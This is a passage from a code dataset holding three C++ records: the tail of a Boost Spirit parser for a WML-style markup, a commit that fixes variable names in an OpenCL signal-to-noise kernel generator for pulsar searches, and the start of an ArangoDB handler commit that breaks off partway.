our mini_xml struct\n\/\/ to make it a first-class fusion citizen\nBOOST_FUSION_ADAPT_STRUCT(\n\twml::body,\n\t(wml::Str, name)(std::vector<wml::node>, children))\n\nnamespace wml\n{\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Print out the mini xml tree\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tint const tabsize = 4;\n\n\tvoid tab(int indent)\n\t{\n\t\tfor(int i = 0; i < indent; ++i)\n\t\t\tstd::cout << ' ';\n\t}\n\n\tstruct body_printer\n\t{\n\t\tbody_printer(int indent = 0)\n\t\t    : indent(indent)\n\t\t{\n\t\t}\n\n\t\tvoid operator()(body const&) const;\n\n\t\tint indent;\n\t};\n\n\tstruct node_printer : boost::static_visitor<>\n\t{\n\t\tnode_printer(int indent = 0)\n\t\t    : indent(indent)\n\t\t{\n\t\t}\n\n\t\tvoid operator()(body const& w) const\n\t\t{\n\t\t\tbody_printer(indent + tabsize)(w);\n\t\t}\n\n\t\tvoid operator()(Str const& text) const\n\t\t{\n\t\t\ttab(indent + tabsize);\n\t\t\tstd::cout << \"text: \\\"\" << text << '\"' << std::endl;\n\t\t}\n\n\t\tvoid operator()(Pair const& p) const\n\t\t{\n\t\t\ttab(indent + tabsize);\n\t\t\tstd::cout << p.first << \": \\\"\" << p.second << \"\\\"\" << std::endl;\n\t\t}\n\n\t\tint indent;\n\t};\n\n\tvoid body_printer::operator()(body const& w) const\n\t{\n\t\ttab(indent);\n\t\tstd::cout << \"tag: '\" << w.name << \"'\" << std::endl;\n\t\ttab(indent);\n\t\tstd::cout << '{' << std::endl;\n\n\t\tBOOST_FOREACH(node const& n, w.children) {\n\t\t\tboost::apply_visitor(node_printer(indent), n);\n\t\t}\n\n\t\ttab(indent);\n\t\tstd::cout << '}' << std::endl;\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/  Our mini XML grammar definition\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/[tutorial_xml2_grammar\n\ttemplate <typename Iterator>\n\tstruct wml_grammar\n\t\t: qi::grammar<Iterator, body(), qi::locals<Str>, ascii::space_type>\n\t{\n\t\twml_grammar()\n\t\t    : wml_grammar::base_type(wml)\n\t\t{\n\t\t\tusing qi::lit;\n\t\t\tusing qi::lexeme;\n\t\t\tusing ascii::char_;\n\t\t\tusing ascii::string;\n\t\t\tusing namespace qi::labels;\n\n\n\t\t\tpair  =  key >> '=' >> value >> \"\\n\";\n\t\t\tkey   =  qi::char_(\"a-zA-Z_\") >> *qi::char_(\"a-zA-Z_0-9\");\n\t\t\tvalue %= lexeme[+(char_ - '[')];\n\n\t\t\tnode %= wml | pair;\n\n\t\t\tstart_tag %= '['\n\t\t\t\t     >> !lit('\/')\n\t\t\t\t     >> lexeme[+(char_ - ']')]\n\t\t\t\t     >> ']';\n\n\t\t\tend_tag = \"[\/\"\n\t\t\t\t  >> string(_r1)\n\t\t\t\t  >> ']';\n\n\t\t\twml %= start_tag[_a = _1]\n\t\t\t       >> *node\n\t\t\t       >> end_tag(_a);\n\t\t}\n\n\t\tqi::rule<Iterator, wml::body(), qi::locals<Str>, ascii::space_type> wml;\n\t\tqi::rule<Iterator, wml::node(), ascii::space_type> node;\n\t\tqi::rule<Iterator, Str(), ascii::space_type> start_tag;\n\t\tqi::rule<Iterator, void(Str), ascii::space_type> end_tag;\n\t        qi::rule<Iterator, Pair()> pair;\n\t\tqi::rule<Iterator, Str()> key;\n\t\tqi::rule<Iterator, Str()> value;\n\t};\n\t\/\/]\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/  Main program\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nnamespace wml\n{\n\n\tbool parse(const std::string& storage)\n\t{\n\t\ttypedef wml_grammar<std::string::const_iterator> my_grammar;\n\t\tmy_grammar xml; \/\/ Our grammar\n\t\twml::body ast;  \/\/ Our tree\n\n\t\tusing boost::spirit::ascii::space;\n\t\tstd::string::const_iterator iter = storage.begin();\n\t\tstd::string::const_iterator end = storage.end();\n\t\tbool r = phrase_parse(iter, end, xml, space, ast);\n\n\t\tif(r && iter == end) {\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tstd::cout << \"Parsing succeeded\\n\";\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tbody_printer printer;\n\t\t\tprinter(ast);\n\t\t\treturn true;\n\t\t} else {\n\t\t\tstd::string::const_iterator some = iter + 30;\n\t\t\tstd::string context(iter, (some > end) ? end : some);\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\tstd::cout << \"Parsing failed\\n\";\n\t\t\tstd::cout << \"stopped at: \\\": \" << context << \"...\\\"\\n\";\n\t\t\tstd::cout << \"-------------------------\\n\";\n\t\t\treturn false;\n\t\t}\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <SNR.hpp>\n\nnamespace PulsarSearch {\n\nsnrDedispersedConf::snrDedispersedConf() {}\n\nsnrDedispersedConf::~snrDedispersedConf() {}\n\nstd::string snrDedispersedConf::print() const {\n  return isa::utils::toString(nrSamplesPerBlock) + \" \" + isa::utils::toString(nrSamplesPerThread);\n}\nstd::string * getSNRDedispersedOpenCL(const snrDedispersedConf & conf, const std::string & dataType, const AstroData::Observation & observation) {\n  std::string * code = new std::string();\n\n  \/\/ Begin kernel's template\n  *code = \"__kernel void snrDedispersed(__global const \" + dataType + \" * const restrict dedispersedData, __global float * const restrict snrData) {\\n\"\n    \"unsigned int dm = get_group_id(1);\\n\"\n    \"__local float reductionCOU[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local \" + dataType + \" reductionMAX[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local float reductionMEA[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local float reductionVAR[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"<%DEF%>\"\n    \"\\n\"\n    \"\/\/ Compute phase\\n\"\n    \"for ( unsigned int sample = get_local_id(0) + \" + isa::utils::toString(conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) + \"; sample < \" + isa::utils::toString(observation.getNrSamplesPerSecond()) + \"; sample += \" + isa::utils::toString(conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) + \" ) {\\n\"\n    + dataType + \" item = 0;\\n\"\n    \"float delta = 0.0f;\\n\"\n    \"<%COMPUTE%>\"\n    \"}\\n\"\n    \"\/\/ In-thread reduce\\n\"\n    \"\/\/ Local memory store\\n\"\n    \"reductionCOU[get_local_id(0)] = counter;\\n\"\n    \"reductionMAX[get_local_id(0)] = max;\\n\"\n    \"reductionMEA[get_local_id(0)] = mean;\\n\"\n    \"reductionVAR[get_local_id(0)] = variance;\\n\"\n    \"barrier(CLK_LOCAL_MEM_FENCE);\\n\"\n    \"\/\/ Reduce phase\\n\"\n    \"unsigned int threshold = \" + isa::utils::toString(conf.getNrSamplesPerBlock() \/ 2) + \";\\n\"\n    \"for ( unsigned int sample = get_local_id(0); threshold > 0; threshold \/= 2 ) {\\n\"\n    \"if ( sample < threshold ) {\\n\"\n    \"float delta = reductionMEA[sample + threshold] - mean0;\\n\"\n    \"counter0 += reductionCOU[sample + threshold];\\n\"\n    \"max0 = fmax(max0, reductionMAX[sample + threshold]);\\n\"\n    \"mean0 = ((reductionCOU[sample] * mean0) + (reductionCOU[sample + threshold] * reductionMEA[sample + threshold])) \/ counter0;\\n\"\n    \"variance0 += reductionVAR[sample + threshold] + ((delta * delta) * ((reductionCOU[sample] * reductionCOU[sample + threshold]) \/ counter0));\\n\"\n    \"reductionCOU[get_local_id(0)] = counter0;\\n\"\n    \"reductionMAX[get_local_id(0)] = max0;\\n\"\n    \"reductionMEA[get_local_id(0)] = mean0;\\n\"\n    \"reductionVAR[get_local_id(0)] = variance0;\\n\"\n    \"}\\n\"\n    \"barrier(CLK_LOCAL_MEM_FENCE);\\n\"\n    \"}\\n\"\n    \"\/\/ Store\\n\"\n    \"if ( get_local_id(0) == 0 ) {\\n\"\n    \"snrData[dm] = (max0 - mean0) \/ native_sqrt(variance0 * \" + isa::utils::toString(1.0f \/ (observation.getNrSamplesPerSecond() - 1)) + \"f);\\n\"\n    \"}\\n\"\n    \"}\\n\";\n  std::string defTemplate = \"float counter<%NUM%> = 1.0f;\\n\"\n    + dataType + \" max<%NUM%> = dedispersedData[(dm * \" + isa::utils::toString(observation.getNrSamplesPerPaddedSecond()) + \") + (get_local_id(0) + <%OFFSET%>)];\\n\"\n    \"float variance<%NUM%> = 0.0f;\\n\"\n    \"float mean<%NUM%> = max;\\n\";\n  std::string computeTemplate = \"item = dedispersedData[(dm * \" + isa::utils::toString(observation.getNrSamplesPerPaddedSecond()) + \") + (sample + <%OFFSET%>)];\\n\"\n    \"counter<%NUM%> += 1.0f;\\n\"\n    \"delta = item - mean<%NUM%>;\\n\"\n    \"max<%NUM%> = fmax(max<%NUM%>, item);\\n\"\n    \"mean<%NUM%> += delta \/ counter<%NUM%>;\\n\"\n    \"variance<%NUM%> += delta * (item - mean<%NUM%>);\\n\";\n  \/\/ End kernel's template\n\n  std::string * def_s = new std::string();\n  std::string * compute_s = new std::string();\n\n  for ( unsigned int sample = 0; sample < conf.getNrSamplesPerThread(); sample++ ) {\n    std::string sample_s = isa::utils::toString(sample);\n    std::string offset_s = isa::utils::toString(conf.getNrSamplesPerBlock() * sample);\n    std::string * temp = 0;\n\n    temp = isa::utils::replace(&defTemplate, \"<%NUM%>\", sample_s);\n    if ( sample == 0 ) {\n      std::string empty_s(\"\");\n      temp = isa::utils::replace(temp, \" + <%OFFSET%>\", empty_s, true);\n    } else {\n      temp = isa::utils::replace(temp, \"<%OFFSET%>\", offset_s, true);\n    }\n    def_s->append(*temp);\n    delete temp;\n    temp = isa::utils::replace(&computeTemplate, \"<%NUM%>\", sample_s);\n    if ( sample == 0 ) {\n      std::string empty_s(\"\");\n      temp = isa::utils::replace(temp, \" + <%OFFSET%>\", empty_s, true);\n    } else {\n      temp = isa::utils::replace(temp, \"<%OFFSET%>\", offset_s, true);\n    }\n    compute_s->append(*temp);\n    delete temp;\n  }\n\n  code = isa::utils::replace(code, \"<%DEF%>\", *def_s, true);\n  code = isa::utils::replace(code, \"<%COMPUTE%>\", *compute_s, true);\n  delete def_s;\n  delete compute_s;\n\n  return code;\n}\n\nvoid readTunedSNRDedispersedConf(tunedSNRDedispersedConf & tunedSNR, const std::string & snrFilename) {\n  std::string temp;\n  std::ifstream snrFile(snrFilename);\n  while ( ! snrFile.eof() ) {\n    unsigned int splitPoint = 0;\n    std::getline(snrFile, temp);\n    if ( ! std::isalpha(temp[0]) ) {\n      continue;\n    }\n    std::string deviceName;\n    unsigned int nrDMs = 0;\n    PulsarSearch::snrDedispersedConf parameters;\n    splitPoint = temp.find(\" \");\n    deviceName = temp.substr(0, splitPoint);\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    nrDMs = isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint));\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    parameters.setNrSamplesPerBlock(isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint)));\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    parameters.setNrSamplesPerThread(isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint)));\n    if ( tunedSNR.count(deviceName) == 0 ) {\n      std::map< unsigned int, PulsarSearch::snrDedispersedConf > container;\n      container.insert(std::make_pair(nrDMs, parameters));\n      tunedSNR.insert(std::make_pair(deviceName, container));\n    } else {\n      tunedSNR[deviceName].insert(std::make_pair(nrDMs, parameters));\n    }\n  }\n}\n\n} \/\/ PulsarSearch\n\n<commit_msg>Fixed a bug in the OpenCL code.<commit_after>\/\/ Copyright 2015 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <SNR.hpp>\n\nnamespace PulsarSearch {\n\nsnrDedispersedConf::snrDedispersedConf() {}\n\nsnrDedispersedConf::~snrDedispersedConf() {}\n\nstd::string snrDedispersedConf::print() const {\n  return isa::utils::toString(nrSamplesPerBlock) + \" \" + isa::utils::toString(nrSamplesPerThread);\n}\nstd::string * getSNRDedispersedOpenCL(const snrDedispersedConf & conf, const std::string & dataType, const AstroData::Observation & observation) {\n  std::string * code = new std::string();\n\n  \/\/ Begin kernel's template\n  *code = \"__kernel void snrDedispersed(__global const \" + dataType + \" * const restrict dedispersedData, __global float * const restrict snrData) {\\n\"\n    \"unsigned int dm = get_group_id(1);\\n\"\n    \"__local float reductionCOU[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local \" + dataType + \" reductionMAX[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local float reductionMEA[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"__local float reductionVAR[\" + isa::utils::toString(isa::utils::pad(conf.getNrSamplesPerBlock(), observation.getPadding())) + \"];\\n\"\n    \"<%DEF%>\"\n    \"\\n\"\n    \"\/\/ Compute phase\\n\"\n    \"for ( unsigned int sample = get_local_id(0) + \" + isa::utils::toString(conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) + \"; sample < \" + isa::utils::toString(observation.getNrSamplesPerSecond()) + \"; sample += \" + isa::utils::toString(conf.getNrSamplesPerBlock() * conf.getNrSamplesPerThread()) + \" ) {\\n\"\n    + dataType + \" item = 0;\\n\"\n    \"float delta = 0.0f;\\n\"\n    \"<%COMPUTE%>\"\n    \"}\\n\"\n    \"\/\/ In-thread reduce\\n\"\n    \"\/\/ Local memory store\\n\"\n    \"reductionCOU[get_local_id(0)] = counter0;\\n\"\n    \"reductionMAX[get_local_id(0)] = max0;\\n\"\n    \"reductionMEA[get_local_id(0)] = mean0;\\n\"\n    \"reductionVAR[get_local_id(0)] = variance0;\\n\"\n    \"barrier(CLK_LOCAL_MEM_FENCE);\\n\"\n    \"\/\/ Reduce phase\\n\"\n    \"unsigned int threshold = \" + isa::utils::toString(conf.getNrSamplesPerBlock() \/ 2) + \";\\n\"\n    \"for ( unsigned int sample = get_local_id(0); threshold > 0; threshold \/= 2 ) {\\n\"\n    \"if ( sample < threshold ) {\\n\"\n    \"float delta = reductionMEA[sample + threshold] - mean0;\\n\"\n    \"counter0 += reductionCOU[sample + threshold];\\n\"\n    \"max0 = fmax(max0, reductionMAX[sample + threshold]);\\n\"\n    \"mean0 = ((reductionCOU[sample] * mean0) + (reductionCOU[sample + threshold] * reductionMEA[sample + threshold])) \/ counter0;\\n\"\n    \"variance0 += reductionVAR[sample + threshold] + ((delta * delta) * ((reductionCOU[sample] * reductionCOU[sample + threshold]) \/ counter0));\\n\"\n    \"reductionCOU[get_local_id(0)] = counter0;\\n\"\n    \"reductionMAX[get_local_id(0)] = max0;\\n\"\n    \"reductionMEA[get_local_id(0)] = mean0;\\n\"\n    \"reductionVAR[get_local_id(0)] = variance0;\\n\"\n    \"}\\n\"\n    \"barrier(CLK_LOCAL_MEM_FENCE);\\n\"\n    \"}\\n\"\n    \"\/\/ Store\\n\"\n    \"if ( get_local_id(0) == 0 ) {\\n\"\n    \"snrData[dm] = (max0 - mean0) \/ native_sqrt(variance0 * \" + isa::utils::toString(1.0f \/ (observation.getNrSamplesPerSecond() - 1)) + \"f);\\n\"\n    \"}\\n\"\n    \"}\\n\";\n  std::string defTemplate = \"float counter<%NUM%> = 1.0f;\\n\"\n    + dataType + \" max<%NUM%> = dedispersedData[(dm * \" + isa::utils::toString(observation.getNrSamplesPerPaddedSecond()) + \") + (get_local_id(0) + <%OFFSET%>)];\\n\"\n    \"float variance<%NUM%> = 0.0f;\\n\"\n    \"float mean<%NUM%> = max;\\n\";\n  std::string computeTemplate = \"item = dedispersedData[(dm * \" + isa::utils::toString(observation.getNrSamplesPerPaddedSecond()) + \") + (sample + <%OFFSET%>)];\\n\"\n    \"counter<%NUM%> += 1.0f;\\n\"\n    \"delta = item - mean<%NUM%>;\\n\"\n    \"max<%NUM%> = fmax(max<%NUM%>, item);\\n\"\n    \"mean<%NUM%> += delta \/ counter<%NUM%>;\\n\"\n    \"variance<%NUM%> += delta * (item - mean<%NUM%>);\\n\";\n  \/\/ End kernel's template\n\n  std::string * def_s = new std::string();\n  std::string * compute_s = new std::string();\n\n  for ( unsigned int sample = 0; sample < conf.getNrSamplesPerThread(); sample++ ) {\n    std::string sample_s = isa::utils::toString(sample);\n    std::string offset_s = isa::utils::toString(conf.getNrSamplesPerBlock() * sample);\n    std::string * temp = 0;\n\n    temp = isa::utils::replace(&defTemplate, \"<%NUM%>\", sample_s);\n    if ( sample == 0 ) {\n      std::string empty_s(\"\");\n      temp = isa::utils::replace(temp, \" + <%OFFSET%>\", empty_s, true);\n    } else {\n      temp = isa::utils::replace(temp, \"<%OFFSET%>\", offset_s, true);\n    }\n    def_s->append(*temp);\n    delete temp;\n    temp = isa::utils::replace(&computeTemplate, \"<%NUM%>\", sample_s);\n    if ( sample == 0 ) {\n      std::string empty_s(\"\");\n      temp = isa::utils::replace(temp, \" + <%OFFSET%>\", empty_s, true);\n    } else {\n      temp = isa::utils::replace(temp, \"<%OFFSET%>\", offset_s, true);\n    }\n    compute_s->append(*temp);\n    delete temp;\n  }\n\n  code = isa::utils::replace(code, \"<%DEF%>\", *def_s, true);\n  code = isa::utils::replace(code, \"<%COMPUTE%>\", *compute_s, true);\n  delete def_s;\n  delete compute_s;\n\n  return code;\n}\n\nvoid readTunedSNRDedispersedConf(tunedSNRDedispersedConf & tunedSNR, const std::string & snrFilename) {\n  std::string temp;\n  std::ifstream snrFile(snrFilename);\n  while ( ! snrFile.eof() ) {\n    unsigned int splitPoint = 0;\n    std::getline(snrFile, temp);\n    if ( ! std::isalpha(temp[0]) ) {\n      continue;\n    }\n    std::string deviceName;\n    unsigned int nrDMs = 0;\n    PulsarSearch::snrDedispersedConf parameters;\n    splitPoint = temp.find(\" \");\n    deviceName = temp.substr(0, splitPoint);\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    nrDMs = isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint));\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    parameters.setNrSamplesPerBlock(isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint)));\n    temp = temp.substr(splitPoint + 1);\n    splitPoint = temp.find(\" \");\n    parameters.setNrSamplesPerThread(isa::utils::castToType< std::string, unsigned int >(temp.substr(0, splitPoint)));\n    if ( tunedSNR.count(deviceName) == 0 ) {\n      std::map< unsigned int, PulsarSearch::snrDedispersedConf > container;\n      container.insert(std::make_pair(nrDMs, parameters));\n      tunedSNR.insert(std::make_pair(deviceName, container));\n    } else {\n      tunedSNR[deviceName].insert(std::make_pair(nrDMs, parameters));\n    }\n  }\n}\n\n} \/\/ PulsarSearch\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief abstract class for handlers\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2009-2014, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"Handler.h\"\n\nusing namespace triagens::rest;\nusing namespace std;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                      constructors and destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief constructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHandler::Handler () {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destructs a handler\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHandler::~Handler () {\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                    public methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the job type\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nJob::JobType Handler::type () {\n  return Job::READ_JOB;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the queue name\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstring const& Handler::queue () const {\n  static string const standard = \"STANDARD\";\n  return standard;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sets the thread which currently dealing with the job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Handler::setDispatcherThread (DispatcherThread*) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief tries to cancel an execution\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Handler::cancel (bool running) {\n  return false;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<commit_msg>Ignore an unused parameter.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief abstract class for handlers\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2014 ArangoDB GmbH, Cologne, Germany\n\/\/\/ Copyright 2004-2014 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not 